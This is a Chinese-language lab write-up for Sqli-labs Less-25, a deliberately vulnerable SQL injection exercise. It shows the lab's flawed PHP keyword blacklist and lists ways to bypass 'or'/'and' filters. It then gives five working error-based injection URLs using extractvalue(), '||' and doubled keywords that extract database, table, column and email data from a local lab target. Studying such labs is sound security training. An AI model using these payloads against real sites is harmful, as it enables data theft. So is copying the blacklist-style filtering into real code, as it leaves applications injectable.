zoukankan      html  css  js  c++  java
  • Sqli-labs Less-25 绕过or和and过滤 extractvalue()报错注入

    关键代码

    function blacklist($id)
    {
    	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    	$id= preg_replace('/AND/i',"", $id);		//Strip out AND (non case sensitive)
    	
    	return $id;
    }
    $id=$_GET['id'];
    $id= blacklist($id);
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    print_r(mysql_error());

    本关主要为or and过滤,如何绕过or和and过滤。一般性提供以下几种思路:

    1. 大小写变形 Or,OR,oR
    2. 编码,hex,urlencode
    3. 添加注释/*or*/
    4. 利用符号 and=&& or=||
    5. 双写or或and绕过

    暂时只想到这些,还有的话可以补充。

    本关方法(1)(2)(3)均无效,下面我们利用方法(4)和(5)进行。

    报错注入 示例

    1、获取当前数据库

    http://127.0.0.1/sql/Less-25/?id=1' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

    这里使用||来绕过or过滤。

    2、获取所有数据库

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7e))--+

    这里将information_schema改为infoorrmation_schema来绕过or过滤。

    3、查看security库数据表

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),0x7e))--+ 

    4、查看emails表的所有列

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' aandnd table_name='emails'),0x7e))--+

    这里使用aandnd来绕过and过滤。

    5、获取内容

    http://127.0.0.1/sql/Less-25/index.php?id=1' || extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e))--+

    参考:https://www.cnblogs.com/lcamry/p/5763002.html

  • 相关阅读:
    《代码整洁之道》读书笔记六
    第九周总结
    《构建之法》读后感(五)
    学习进度条-第十二周
    3. 统计数字
    《构建之法》读后感(四)
    学习进度条-第十一周
    4. 丑数 II
    《构建之法》读后感(三)
    学习进度条-第十周
  • 原文地址:https://www.cnblogs.com/zhengna/p/12634971.html
Copyright © 2011-2022 走看看